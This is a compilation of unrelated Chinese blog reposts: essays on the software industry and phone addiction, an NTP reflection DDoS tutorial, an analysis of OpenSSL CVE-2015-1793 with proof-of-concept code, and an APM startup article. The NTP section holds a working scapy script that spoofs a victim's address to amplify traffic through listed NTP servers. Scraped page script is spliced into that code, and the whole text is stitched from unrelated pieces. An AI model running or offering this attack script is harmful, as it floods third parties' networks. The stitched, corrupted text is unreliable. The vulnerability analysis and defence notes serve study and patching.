           2、软件的零边际成本（即可复制多份而成本几乎为零）。一份软件只需要一份就够的情况下，多个工厂是不是重复开发，浪费资源？这样竞争的结果，顶好是全世界就一家工厂归好，交易成本减少到最小。

    中国大规模的重复开发，低水平的重复开发。如果大家团结在一起，组成个工厂，严密组织，分工协作，既提高了生产率，也降低了浪费。

    工厂的设立是为了降低交易成本。

    软件工业也有生产成本逐渐下降的趋势。只有大规模地群体协作，用工厂这种组织方式能有效地提高生产力，降低交易成本。

    工厂的核心不是软件蓝领，而是组织和协作。集中所有人的智慧去做一件事情。大规模地降低生产成本。

    中国目前虽然需要软件，但还缺少强有力的组织。可以说，还没发展到工厂的程度。

    所以我们曾经有个把中国所有程序员组织起来，像一个大型的软件公司那样运作，做成虚拟软件工厂的想法。但还没做完。

    中国的IT确像有些人说的那样，中间人才大量，高精尖人才严重不足。在我看来，基层员工从来就不缺少，由于外国对我们进行技术封锁，所以我们在向前进军的路上很难突破。但我们中间人才正在夜以继日地，在管理和技术领域进行拼搏，向高精尖人才进军。但只要有一个能突围，一定会有大批人相继突围。我们在等待着群体突破的那一天。那一天，从中间领域“制造”出来的大批高精尖人才在国际软件工业叱咤风云，领袖群雄。

五、“淘尽黄沙始见金”，要是再有员工因为工资而“叛逃”的话，不如说一句：由他去吧！

    很潇洒。很气派。道理也很对。只是口气有点自大，有点不自量力，而且也写错了。

    我记得原文是"千淘万漉虽辛苦，吹尽狂沙始见金。”，出自于《菜根谭》。刘兴波这位仁兄居然用"淘"尽狂沙始见金”，可见是一位炒股高手。妙，妙！只可惜恐怕是人云亦云，如果所猜不错的话，这位仁兄在专家的指示下应该赔了不少

    只是，在人才界，这个恐怕还要改。去的是谁？留下的是什么？

    很不幸，去的都是顶尖高手和优秀员工，留下来的只是找不到工作的人。在这个人满为患，就业困难的社会，只有那个顶尖高手和高素质的人，才能自由选择工作单位，才能来去自如，才能到外企工作。留下来的，不是不想走，而是怕找不到新工作。只有那些有本事的人才能“你不把老子当人，老子自会找到把我当人的地方” 

六、结言

    社会本来就没有绝对的公平，每个人要学会在社会生存。但是你可以有自己的思维和自己的想法，你可以不适应社会，让社会适应你，也可以不接受不公平，选择正义凛然，这些都没有人会阻挡你，因为你可以选择为自己活，不要去在意别人的眼光，可以选择一种自己喜欢的生活状态和环境。跳槽也是一样，你就是在不断的选择，本身并没有错，因为你只是选择一种自己喜欢的工作方式和环境。
转载原文地址

首先我们来看一个已经在网上疯传的视频，希望你有所启迪，由于本编辑器不支持此视频格式，请点击链接地址观看，我想你会有收获的。视频地址如下：
告别手机党

你中枪了吗

     早晨起来第一件事是摸手机，晚上睡前最后一件事是放下手机，你中枪没？数据显示，全球人均6分半钟看一次手机，你中枪没？
      悲催的我站着、坐着、躺着……全中枪。
      不看不知道，一看吓一跳。全球总共有多少部智能手机？18.3亿。每位手机用户平均每天查看多少次手机？150次。换言之，除了休息时间外，每人平均每6分半钟查看一次手机。
      微信、挂Q、发微博、看新闻……我和众多手机用户还没写申请书就入了"低头党"。中国手机网民规模达5亿， "低头党" 少说也上亿人，而我们光荣的共产党党员才8512.7万。
      手机，成了生活的一部分。看手机，成了人生的一部分。
       在上班走路，有看手机撞过人、撞过树、撞过电线杆。上班坐地铁，在拥挤的空间里拿出吃奶的力气左推右搡看手机。
       不论蹲坑还是坐马桶，不管有无信号或是WIFI，我上厕所都要看手机。因为看手机，我糗事一大堆，双腿无数次麻木，手机多次掉到厕所里。
      春晚一年不如一年，但必须得看，爸妈用电视看春晚，现在的我们用手机吐槽春晚。像得了强迫症一样，要是不看一眼手机，我们就觉得心里很不踏实。找不到手机就心烦意乱，手机没电很紧张，手机没信号很抓狂……，你中枪没？
      其实，离开手机一整天或一段时间，生活也没有缺少什么。
      "时间都去哪儿了，还没好好感受年轻就老了……"马年春晚，一曲《时间都去哪儿了》让人动容。我不禁要问问时间到底都去哪儿了？
      先来看看我们习主席的答案："我个人的时间都去哪儿了？当然是都被工作占去了。现在，我经常能做到的是读书，读书已成了我的一种生活方式。"再看看我们手机党的答案，都被手机偷去啦，真是自惭形秽，多向习主席学习。










编者感言：

在这个互联网+的环境中，在这个信息时代，手机已经深深的影响到了我们的生活，成为了“必需品”。记得以前我们的童年是在玩泥巴、跳皮筋、跳房子、捉迷藏等游戏中和我们的小伙伴们开心的玩耍交流中度过的，而现在的孩子们在父母的影响下，也变成了手机党。现在都市生活中，父母陪孩子的时间越来越少，回家有时间也是盯着手机，在这种氛围下，让我们的孩子也受到了影响，没事在家就是打开平板电脑或者手机玩游戏，他们交朋友的方式更多的是通过玩游戏、互联网社交，而那种纯粹的交友方式淡化了。作为一个IT从业者，我想大家除了工作的时间，大部分时间也花在手机上吧？早晨起床，打开手机微信朋友圈先溜一圈，早晨的推文叫做“营养早餐”，美好的一天开始吗，到了中午快要到中午吃午饭了，这时候大家又开始打开手机，看朋友圈，看微信群，淡淡比，中午的推文叫做“自助餐”，到了晚上，朝九晚五的一天就要结束了，大家不约而同的打开了微博、微信、QQ等，哎哟，这个土豪又在发红包，真高兴，抢到了1.5，而这时候一波推文又开始了，晚餐前的推文叫做“晚餐甜点”，因为你下班了，有时间了，可以细细品味了。一天手机带你度过，我也是一名手机党，我不是说手机党有什么不好，而是说我们要看到它的优点，发扬优点，去其糟粕，吸其精华。在我们的微信朋友圈，确实有不少的干货、好的文章，这些都值得我们细细品读，如果你只是转发一下，大概看一下大体，这就失去了意义。我们应该向习大大学习，多读书、多和别人交流、多思考！

0x01 一些案例

      最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热，先看看下面的信息感受下：

“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.



“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.

      消息中称 CloudFlare 遭受了高达 400G 流量的 NTP 反射攻击，目前从网上各处的消息来看，众说纷纭，我们先不去考证消息的真伪，仅仅从攻击方法和流量方面来看着实体现出 NTP 反射攻击的威力。

0x02 什么是 NTP

      NTP 是网络时间协议（Network Time Protocol）的简称，干嘛用的呢？就是通过网络协议使计算机之前的时间同步化。

0x03 NTP 反射和放大攻击

     那什么是 NTP 反射和放大攻击呢？如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了，协议不同，效果一样。
     我们先来说说放射和放大攻击：

无论是基于 DNS 还是基于 NTP，其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端，服务端返回响应包到客户端，但是 UDP 协议是面向无连接的，所以客户端发送请求包的源 IP 很容易进行伪造，当把源 IP 修改为受害者的 IP，最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。



放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包，这样就达到了四两拨千斤的效果。



那我们接着来看什么是 NTP 的反射和放大攻击，NTP 包含一个 monlist 功能，也被成为 MON_GETLIST，主要用于监控 NTP 服务器，NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP，响应包按照每 6 个 IP 进行分割，最多有 100 个响应包。



我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。

pangzi@pangzi-mac ~$ ntpdc -n -c monlist x.x.x.x | wc -l



602

      在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据，除去头两行是无效数据外，正好是 600 个客户端 IP 列表，并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包，除去一个请求包，正好是 100 个响应包。
     从上图中我们可以看到请求包的大小为 234 字节，每个响应包为 482 字节，如果单纯按照这个数据我们可以计算出放大的倍数是：482*100/234 = 206 倍。其实如果通过编写攻击脚本，请求包会更小，这个倍数值会更大，这样算起来是不是蛮屌的。

0x04 如何利用

     我们通过 scapy 实现一个简单的攻击脚本，代码如下：

#!/usr/bin/env python

# author: pangzi.me@gmail.com

/[i] [CDATA[ [/i]/!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/[i] ]]> [/i]/

 

import sys

from scapy.all import *

 

def attack(target, ntp_server):

    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))

 

if __name__ == "__main__":

    if len(sys.argv) != 3:

        sys.exit(1)

 

    target = sys.argv[1]

    ntp_server_file = sys.argv[2]

    for ntp_server in open(ntp_server_file, "r"):

        ntp_server = ntp_server.strip()

        if ntp_server != "":

            attack(target, ntp_server)

0x05 如何防御

     我们可以分为两种情况进行防御
1.加固 NTP 服务

1. 把 NTP 服务器升级到 4.2.7p26

[list=1]

[*]关闭现在 NTP 服务的 monlist 功能，在ntp.conf配置文件中增加`disable monitor`选项[/*]

[*]在网络出口封禁 UDP 123 端口

2.防御 NTP 反射和放大攻击

1. 由于这种攻击的特征比较明显，所以可以通过网络层或者借助运营商实施 ACL 来防御[/*]

[*]使用防 DDoS 设备进行清洗

      不过我觉得如果流量真的够大，400G？800G？或者更大，又有谁能够防得住呢？[/*]
[/list]原文地址

引言

OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞，其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析，确认是一个绕过交叉链类型证书验证的高危漏洞，可以让攻击者构造证书来绕过交叉验证，用来形成诸如“中间人”等形式的攻击。

1.漏洞基本原理

直接看最简单的利用方法（利用方法包括但不限于此）：

攻击者从一公共可信的 CA （C）处签得一证书 X，并以此证书签发另一证书 V（含对X的交叉引用），那么攻击者发出的证书链 V, R （R为任意证书）对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说，验证过程将以失败结束。

对支持交叉认证的版本，则将会尝试构建交叉链 V, X, C，并继续进行验证。

虽然 V, X, C 链能通过可信认证，但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本，因在对交叉链的处理中，对最后一个不可信证书位置计数的错误，导致本应对 V, X 记为不可信并验证，错记为了仅对 V 做验证，而没有验证攻击者的证书 X，返回验证成功。

2.具体漏洞分析

漏洞代码位于文件：openssl-1.0.2c/crypto/x509/x509_vfy.c

函数：X509_verify_cert() 中

第 392 行：“ctx->last_untrusted–;”

对问题函数 X509_verify_cert 的简单分析：

（ 为方便阅读，仅保留与证书验证强相关的代码，去掉了诸如变量定义、错误处理、资源释放等非主要代码）

问题在于由 <1> 处加入颁发者时及 <2> 处验证（颁发者）后，证书链计数增加，但 最后一个不可信证书位置计数 并未增加，

而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了，导致后面验证过程中少验。

（上述 V, X, C 链中应验 V, X 但少验了 X）

代码分析如下：

int X509_verify_cert(X509_STORE_CTX *ctx)

{

    // 将 ctx->cert 做为不信任证书压入需验证链  ctx->chain

    // STACK_OF(X509) *chain 将被构造为证书链，并最终送到 internal_verify() 中去验证

    sk_X509_push(ctx->chain,ctx->cert); 

    // 当前链长度（==1）

    num = sk_X509_num(ctx->chain);

     // 取出第 num 个证书

    x = sk_X509_value(ctx->chain, num - 1);

     // 存在不信任链则复制之

    if (ctx->untrusted != NULL

        && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {

        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

         goto end;

    }

     // 预设定的最大链深度（100）

    depth = param->depth;

    // 构造需验证证书链

    for (;;) {

        // 超长退出

        if (depth < num)

            break;

        // 遇自签退出（链顶）

        if (cert_self_signed(x))

            break;

         if (ctx->untrusted != NULL) {

            xtmp = find_issuer(ctx, sktmp, x);

            // 当前证书为不信任颁发者（应需CA标志）颁发

            if (xtmp != NULL) {

                // 则加入需验证链

                if (!sk_X509_push(ctx->chain, xtmp)) {

                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

                    goto end;

                }

                CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);

                (void)sk_X509_delete_ptr(sktmp, xtmp);

                // 最后一个不可信证书位置计数 自增1

                ctx->last_untrusted++;

                x = xtmp;

                num++;

                continue;

            }

        }

        break;

    }

    do {

        i = sk_X509_num(ctx->chain);

        x = sk_X509_value(ctx->chain, i - 1);

        // 若最顶证书是自签的

        if (cert_self_signed(x)) {

            // 若需验证链长度 == 1

            if (sk_X509_num(ctx->chain) == 1) {

                // 在可信链中查找其颁发者（找自己）

                ok = ctx->get_issuer(&xtmp, ctx, x);

             

               // 没找到或不是相同证书

                if ((ok <= 0) || X509_cmp(x, xtmp)) {

                    ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;

                    ctx->current_cert = x;

                    ctx->error_depth = i - 1;

                    if (ok == 1)

                        X509_free(xtmp);

                    bad_chain = 1;

                    ok = cb(0, ctx);

                    if (!ok)

                        goto end;

                // 找到

                } else {

                    X509_free(x);

                    x = xtmp;

                    // 入到可信链

                    (void)sk_X509_set(ctx->chain, i - 1, x);

                    // 最后一个不可信证书位置计数 置0

                    ctx->last_untrusted = 0;

                }

            // 最顶为自签证书 且 证书链长度>1

            } else {

                // 弹出

                chain_ss = sk_X509_pop(ctx->chain);

                // 最后一个不可信证书位置计数 自减

                ctx->last_untrusted--;

                num--;

                j--;

                // 保持指向当前最顶证书

                x = sk_X509_value(ctx->chain, num - 1);

            }

        }

        // <1>

        // 继续构造证书链（加入颁发者）

        for (;;) {

            // 自签退出

            if (cert_self_signed(x))

                break;

            // 在可信链中查找其颁发者

            ok = ctx->get_issuer(&xtmp, ctx, x);

            // 出错

            if (ok < 0)

                return ok;

            // 没找到

            if (ok == 0)

                 break;

            x = xtmp;

            // 将不可信证书的颁发者（证书）加入需验证证书链

            if (!sk_X509_push(ctx->chain, x)) {

                X509_free(xtmp);

                X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

                return 0;

            }

            num++;

        }

        // <2>

        // 验证 for(;;) 中加入的颁发者链

        i = check_trust(ctx);

        if (i == X509_TRUST_REJECTED)

            goto end;

        retry = 0;

         // <3>

        // 检查交叉链

        if (i != X509_TRUST_TRUSTED

            && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)

            && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {

            while (j-- > 1) {

                xtmp2 = sk_X509_value(ctx->chain, j - 1);

                 // 其实得到一个“看似合理”的证书就返回，这里实际上仅仅根据 CN域 查找颁发者

                ok = ctx->get_issuer(&xtmp, ctx, xtmp2);

                if (ok < 0)

                    goto end;

                // 存在交叉链

                if (ok > 0) {

                    X509_free(xtmp);

 

                    // 去除交叉链以上部分

                    while (num > j) {

                        xtmp = sk_X509_pop(ctx->chain);

                        X509_free(xtmp);

                        num--;

                        // <4>

                        // 问题所在

                        ctx->last_untrusted--;

                    }

                    // <5>

                    retry = 1;

                    break;

                }

            }

        }

    } while (retry);

    ……

}

官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长：

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算（其实去不去掉都无所谓）。

另一个解决办法可以是在 <1> <2> 后，在 <3> 处重置 最后一个不可信证书位置计数，加一行：

ctx->last_untrusted = num;

这样 <4> 处不用删除，而逻辑也是合理并前后一致的。

3.漏洞验证

笔者修改了部分代码并做了个Poc 。修改代码：

int X509_verify_cert(X509_STORE_CTX *ctx)

{

    X509 [i]x, [/i]xtmp, [i]xtmp2, [/i]chain_ss = NULL;

    int bad_chain = 0;

    X509_VERIFY_PARAM *param = ctx->param;

    int depth, i, ok = 0;

    int num, j, retry;

    int ([i]cb) (int xok, X509_STORE_CTX [/i]xctx);

    STACK_OF(X509) *sktmp = NULL;

    if (ctx->cert == NULL) {

        X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);

        return -1;

    }

 

    cb = ctx->verify_cb;

 

    /*

     * first we make sure the chain we are going to build is present and that

     * the first entry is in place

     */

    if (ctx->chain == NULL) {

        if (((ctx->chain = sk_X509_new_null()) == NULL) ||

            (!sk_X509_push(ctx->chain, ctx->cert))) {

            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

            goto end;

        }

        CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);

        ctx->last_untrusted = 1;

    }

 

    /[i] We use a temporary STACK so we can chop and hack at it [/i]/

    if (ctx->untrusted != NULL

        && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {

        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

        goto end;

    }

 

    num = sk_X509_num(ctx->chain);

    x = sk_X509_value(ctx->chain, num - 1);

    depth = param->depth;

 

    for (;;) {

        /[i] If we have enough, we break [/i]/

        if (depth < num)

            break;              /* FIXME: If this happens, we should take

                                 * note of it and, if appropriate, use the

                                 * X509_V_ERR_CERT_CHAIN_TOO_LONG error code

                                 [i] later. [/i]/

 

        /[i] If we are self signed, we break [/i]/

        if (cert_self_signed(x))

            break;

 

        /*

         * If asked see if we can find issuer in trusted store first

         */

        if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {

            ok = ctx->get_issuer(&xtmp, ctx, x);

            if (ok < 0)

                return ok;

            /*

             * If successful for now free up cert so it will be picked up

             * again later.

             */

            if (ok > 0) {

                X509_free(xtmp);

                break;

            }

        }

 

        /[i] If we were passed a cert chain, use it first [/i]/

        if (ctx->untrusted != NULL) {

            xtmp = find_issuer(ctx, sktmp, x);

            if (xtmp != NULL) {

                if (!sk_X509_push(ctx->chain, xtmp)) {

                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

                    goto end;

                }

                CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);

                (void)sk_X509_delete_ptr(sktmp, xtmp);

                ctx->last_untrusted++;

                x = xtmp;

                num++;

                /*

                 * reparse the full chain for the next one

                 */

                continue;

            }

        }

        break;

    }

 

    /[i] Remember how many untrusted certs we have [/i]/

    j = num;

    /*

     * at this point, chain should contain a list of untrusted certificates.

     * We now need to add at least one trusted one, if possible, otherwise we

     * complain.

     */

 

    do {

        /*

         * Examine last certificate in chain and see if it is self signed.

         */

        i = sk_X509_num(ctx->chain);

        x = sk_X509_value(ctx->chain, i - 1);

        if (cert_self_signed(x)) {

            /[i] we have a self signed certificate [/i]/

            if (sk_X509_num(ctx->chain) == 1) {

                /*

                 * We have a single self signed certificate: see if we can

                 * find it in the store. We must have an exact match to avoid

                 * possible impersonation.

                 */

                ok = ctx->get_issuer(&xtmp, ctx, x);

                if ((ok <= 0) || X509_cmp(x, xtmp)) {

                    ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;

                    ctx->current_cert = x;

                    ctx->error_depth = i - 1;

                    if (ok == 1)

                        X509_free(xtmp);

                    bad_chain = 1;

                    ok = cb(0, ctx);

                    if (!ok)

                        goto end;

                } else {

                    /*

                     * We have a match: replace certificate with store

                     * version so we get any trust settings.

                     */

                    X509_free(x);

                    x = xtmp;

                    (void)sk_X509_set(ctx->chain, i - 1, x);

                    ctx->last_untrusted = 0;

                }

            } else {

                /*

                 * extract and save self signed certificate for later use

                 */

                chain_ss = sk_X509_pop(ctx->chain);

                ctx->last_untrusted--;

                num--;

                j--;

                x = sk_X509_value(ctx->chain, num - 1);

            }

        }

        /[i] We now lookup certs from the certificate store [/i]/

        for (;;) {

            /[i] If we have enough, we break [/i]/

            if (depth < num)

                break;

            /[i] If we are self signed, we break [/i]/

            if (cert_self_signed(x))

                break;

            ok = ctx->get_issuer(&xtmp, ctx, x);

 

            if (ok < 0)

                return ok;

            if (ok == 0)

                break;

            x = xtmp;

            if (!sk_X509_push(ctx->chain, x)) {

                X509_free(xtmp);

                X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

                return 0;

            }

            num++;

        }

 

        /[i] we now have our chain, lets check it... [/i]/

        i = check_trust(ctx);

 

        /[i] If explicitly rejected error [/i]/

        if (i == X509_TRUST_REJECTED)

            goto end;

                    

        /*

         * If it's not explicitly trusted then check if there is an alternative

         * chain that could be used. We only do this if we haven't already

         * checked via TRUSTED_FIRST and the user hasn't switched off alternate

         * chain checking

         */

        retry = 0;

// <1>

//ctx->last_untrusted = num;            

 

 

        if (i != X509_TRUST_TRUSTED

            && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)

            && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {

            while (j-- > 1) {

                xtmp2 = sk_X509_value(ctx->chain, j - 1);

                ok = ctx->get_issuer(&xtmp, ctx, xtmp2);

                if (ok < 0)

                    goto end;

                /[i] Check if we found an alternate chain [/i]/

                if (ok > 0) {

                    /*

                     * Free up the found cert we'll add it again later

                     */

                    X509_free(xtmp);

 

                    /*

                     * Dump all the certs above this point - we've found an

                     * alternate chain

                     */

                    while (num > j) {

                        xtmp = sk_X509_pop(ctx->chain);

                        X509_free(xtmp);

                        num--;

                        ctx->last_untrusted--;

                    }

                    retry = 1;

                    break;

                }

            }

        }

    } while (retry);

 

printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );

    /*

     * If not explicitly trusted then indicate error unless it's a single

     * self signed certificate in which case we've indicated an error already

     * and set bad_chain == 1

     */

 

 

    if (i != X509_TRUST_TRUSTED && !bad_chain) {

        if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {

            if (ctx->last_untrusted >= num)

                ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;

            else

                ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;

            ctx->current_cert = x;

        } else {

            sk_X509_push(ctx->chain, chain_ss);

            num++;

            ctx->last_untrusted = num;

            ctx->current_cert = chain_ss;

            ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;

            chain_ss = NULL;

        }

 

        ctx->error_depth = num - 1;

        bad_chain = 1;

        ok = cb(0, ctx);

        if (!ok)

            goto end;

    }

printf("flag=1\n");

    /[i] We have the chain complete: now we need to check its purpose [/i]/

    ok = check_chain_extensions(ctx);

 

    if (!ok)

        goto end;

 

printf("flag=2\n");

    /[i] Check name constraints [/i]/

 

    ok = check_name_constraints(ctx);

 

    if (!ok)

        goto end;

printf("flag=3\n");

    ok = check_id(ctx);

 

    if (!ok)

        goto end;

printf("flag=4\n");

    /[i] We may as well copy down any DSA parameters that are required [/i]/

    X509_get_pubkey_parameters(NULL, ctx->chain);

 

    /*

     * Check revocation status: we do this after copying parameters because

     * they may be needed for CRL signature verification.

     */

 

    ok = ctx->check_revocation(ctx);

    if (!ok)

        goto end;

printf("flag=5\n");

    i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,

                                ctx->param->flags);

    if (i != X509_V_OK) {

        ctx->error = i;

        ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);

        ok = cb(0, ctx);

        if (!ok)

            goto end;

    }

printf("flag=6\n");

    /[i] At this point, we have a chain and need to verify it [/i]/

    if (ctx->verify != NULL)

        ok = ctx->verify(ctx);

    else

        ok = internal_verify(ctx);

    if (!ok)

        goto end;

printf("flag=7\n");

#ifndef OPENSSL_NO_RFC3779

    /[i] RFC 3779 path validation, now that CRL check has been done [/i]/

    ok = v3_asid_validate_path(ctx);

    if (!ok)

        goto end;

    ok = v3_addr_validate_path(ctx);

    if (!ok)

        goto end;

#endif

 

printf("flag=8\n");

    /[i] If we get this far evaluate policies [/i]/

    if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))

        ok = ctx->check_policy(ctx);

    if (!ok)

        goto end;

    if (0) {

 end:

        X509_get_pubkey_parameters(NULL, ctx->chain);

    }

    if (sktmp != NULL)

        sk_X509_free(sktmp);

    if (chain_ss != NULL)

        X509_free(chain_ss);

printf("ok=%d\n", ok );        

    return ok;

}

Poc:

//

//里头的证书文件自己去找一个，这个不提供了

//

#include 

#include 

#include 

#include 

#include 

 

 

STACK_OF(X509) [i]load_certs_from_file(const char [/i]file)

{

    STACK_OF(X509) *certs;

    BIO *bio;

    X509 *x;

    bio = BIO_new_file( file, "r");

    certs = sk_X509_new_null();

    do

    {

        x = PEM_read_bio_X509(bio, NULL, 0, NULL);

        sk_X509_push(certs, x);

    }while( x != NULL );

    

    return certs;

}

 

 

void test(void)

{

    X509 *x = NULL;

    STACK_OF(X509) *untrusted = NULL;

    BIO *bio = NULL;

    X509_STORE_CTX *sctx = NULL;

    X509_STORE *store = NULL;

    X509_LOOKUP *lookup = NULL;

    

    store = X509_STORE_new();

    lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );

    X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);

    untrusted = load_certs_from_file("untrusted.pem");

    bio = BIO_new_file("bad.pem", "r");

    x = PEM_read_bio_X509(bio, NULL, 0, NULL);

    sctx = X509_STORE_CTX_new();

    X509_STORE_CTX_init(sctx, store, x, untrusted);

    X509_verify_cert(sctx);

}

 

int main(void)

{

    test();

    return 0;

}

将代码中 X509_verify_cert() 函数加入输出信息如下：

编译，以伪造证书测试，程序输出信息为：

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功

将 <1> 处注释代码去掉，编译，再以伪造证书测试，程序输出信息为：

num=3, real-num=3

flag=1

ok=0

认证失败

4.安全建议

建议使用受影响版本（OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o）的 产品或代码升级OpenSSL到最新版本

引言：

     近几年来是一个创客的时代，我们每天都能在各种不同的地方看到不同的人在各种不同的产品，国内已形成一种创业的热潮。媒体捧吹，政府政策支持，这年头不说自己是创业者都不好意思创业。就拿北京来说，不知道一天内有多少家创业公司兴起，有多少家创业公司倒闭。

    从2011年开始，大数据逐渐进入互联网热词行列。2012年美国硅谷投资的最热门主题就是大数据，大数据的时代的到来也造就了不少创业公司。国外的比如，大数据业务分析公司Splunk、数据服务公司Metamarkets、数据可视化公司Tableau、大数据分析公司ParAccel等。当大数据这个热词涌入国内的时候也促进国内的互联网巨头们也在纷纷布局切分蛋糕，比如阿里、百度、腾讯、金山，还有在线教育的小象学院和早期成立的数据分析专业社区炼数成金。

    进入到2013年莫过于最火的就是云计算和虚拟化技术，作为技术人员熟悉的kvm，vm，esi，cloudstack，openstack等，逐渐进入到互联网技术人员的视野。其中也不乏不少创业者看到了方向。比如基于openstack技术成立于2013年的OpenStack开源云计算公司UnitedStack，还有基于基于cloudstack市场的天云趋势等。

    2014年大家听得最多的莫过于devops和Iass这两个词语吧。devops让我们的运维同学从脚本时代走进了coding时代，因为现在越来越多的公司都要求你会python或者其他的语言，不只简简单单的会个shell脚本就行了，因为互联网在进步。从云的概念进入中国市场，越来越多的创业者看到了中国这个行业的大市场，在国内做Iass服务的，有我们熟知的阿里云，腾讯云，ucloud，青云等。

    从2014年下半年到2015年互联网创客，熟知的应该就是基于Docker容器技术的创业者们，比如DAOCLOUD，云雀，数人科技，希云，Tenxcloud等，同样APM这个词也逐渐成为创客们中的热词了，在国外有我们熟知的APM的创业公司比如：Compuware、iMaster、New Relic、AppDynamics等，而国内的创业者们也看到了中国这个大市场，大蛋糕，也不乏创业公司比如：云智慧、OneAPM、听云等。

  APM是什么鬼   

    应用性能管理（Application Performance Management）是一个比较新的网络管理方向，主要指对企业的关键业务应用进行监测、优化，提高企业应用的可靠性和质量，保证用户得到良好的服务，降低IT总拥有成本(TCO)。使用全业务链的敏捷APM监控，可使一个企业的关键业务应用的性能更强大，可以提高竞争力，并取得商业成功，因此，加强应用性能管理（APM）可以产生巨大商业利益。

              如果你还不了解APM是什么东东，请你移驾这里一张图告诉你什么是APM，想知道什么是真正的APM看这里。

AMP见闻之云智慧
              2015的ArchSummit架构师大会可谓是空前盛况，有将近近千名的架构师们参加。不乏百度、AWS、小米、华为、腾讯等大公司的架构师参加，也有Ucloud、青云、DAOCLOUD、云智慧等新型创业公司的加盟。
 
              作为一个运维人员我可能最关心的就是我们线上的架构应该怎么部署合理和现有架构的性能在哪里的问题，所以我这次特别关心了一下APM主题的演讲，所以在这里我为大家介绍一下我在大会看到的云智慧 高级架构师 高驰涛(Neeke)演讲的"APM与高性能架构"
 
              首先我先介绍一下他在PPT中展示演讲的三个点:性能瓶颈----->瓶颈是谁----->怎么解决 ，那下面我就逐一介绍。
 
性能瓶颈
      1.用户体验            

               不管是一个网站、产品、衣服，用户体验是很重要的，因为只有公司的产品有了用户，这家公司才有前景，才有收益。我之前一个同学在小米的应用推广平台做运维，有一天他跟我说，他们今天平台的日流水要破千万了，可想而知，一个产品只有用户才是你最大的支柱，只有用户体验好了，才能留住用户，你的产品才能体现出更高的价值。所以雷军说过要把产品做到极致，而这个极致的背后就是用户体验。
 
